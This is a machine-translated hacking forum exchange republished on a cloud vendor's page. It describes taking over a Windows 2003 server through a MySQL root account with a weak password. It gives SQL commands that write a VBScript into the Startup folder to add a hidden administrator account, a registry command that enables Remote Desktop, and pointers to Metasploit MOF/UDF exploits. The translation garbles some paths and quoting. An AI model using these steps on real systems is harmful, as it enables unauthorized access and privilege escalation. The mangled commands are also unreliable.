Mysql webshell/Server Method

Source: Internet
Author: User

Port 80 is only available on the Apache web server Page and does not know the website path.
 
Windows 03 host
Mysql version: 4.0.13-nt
Is root permission
Apache version: apache httpd 2.0.48
Port 3306 has an external connection and a weak password. You already know the account/password.
The opened port is 135.445.1026.80.256.3306.
 
Mysql> insert into a values ("set wshshell = createobject (" "wscript. shell "")");
Mysql> insert into a values ("a = wshshell. run ("”cmd.exe/c net user 1/add" ", 0 )");
Mysql> insert into a values ("B = wshshell. run ("”cmd.exe/c net localgroup Administrators 1/add" ", 0 )");
Mysql> select * from a into outfile "c: \ release E ~ 1 \ alluse ~ 1 \ Start Menu \ Program \ Start \ a. vbs ";
It has already been written into the startup Item
There are two questions: How can I run the 3389 command?
How can I restart the other party?
 
You can run the reg add hklm \ SYSTEM \ CurrentControlSet \ Control \ Terminal "" Server/v fDenyTSConnections/t REG_DWORD/d 2000/f "command on both 00000000 and 03.
Why don't you directly use MSF for system permissions?
Pose. Semi-knowledge and semi-solution to msf
Is the generated payload converted to hexadecimal and then stored in the startup item?
 
Msf> search mysql .........................
 
There is exploit for mof and udf.
 
Since you have connected to mysql, you can also manually mof or udf

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.